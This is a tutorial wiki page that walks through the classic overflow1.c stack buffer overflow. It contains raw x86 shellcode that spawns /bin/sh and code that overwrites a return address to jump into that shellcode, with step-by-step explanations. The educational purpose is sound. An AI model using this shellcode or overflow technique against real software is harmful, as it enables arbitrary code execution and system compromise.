First Exploit General Explanation - kkli08/Buffer-Overflow GitHub Wiki

Welcome to the Buffer Overflow!

Writing the first Exploit

// overflow1.c

char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
    for (i = 0; i < 32; i++) 
        *(long_ptr + i) = (int) buffer;

    for (i = 0; i < strlen(shellcode); i++) 
        large_string[i] = shellcode[i];

    strcpy(buffer,large_string); 
    }

General guide

Shellcode

char shellcode[] = "...";
  • This is the shellcode, a string of bytes that represents machine code to be executed once the exploit is successful. This specific shellcode is designed to execute a shell (/bin/sh).

Buffers

char large_string[128];
char buffer[96];
  • Two character arrays (buffers) are declared. large_string has a size of 128 bytes, and buffer has a size of 96 bytes.

Main Function

void main() {
    int i;
    long *long_ptr = (long *) large_string;
  • The main function starts by declaring an integer i for loops and a pointer long_ptr of type long. This pointer is set to point to the start of large_string.

First Loop: Filling large_string with the Address of buffer

    for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;
  • This loop fills the large_string with the address of buffer. Each long is typically 4 bytes on 32-bit systems (8 bytes on 64-bit), so this loop effectively writes the buffer's address multiple times into large_string.

Second Loop: Copying Shellcode to large_string

    for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i];
  • This loop copies the shellcode into the beginning of large_string. The rest of large_string still contains the address of buffer.

Executing the Overflow

    strcpy(buffer, large_string);
  • The strcpy function is used to copy large_string into buffer. Since large_string is larger than buffer (128 bytes vs. 96 bytes), this overflows buffer, writing beyond its bounds. The overflow is designed to overwrite the return address on the stack with the address of buffer. Since buffer's address is filled in large_string and large_string now starts with the shellcode, the execution will jump to the shellcode once the function returns.

Summary of Exploit

The exploit works by:

  1. Overwriting the return address of the main function with the address of buffer (which is filled in large_string).
  2. Placing the shellcode at the beginning of large_string, so when the return address is used, it points to the shellcode.
  3. The shellcode is executed, which typically opens a shell.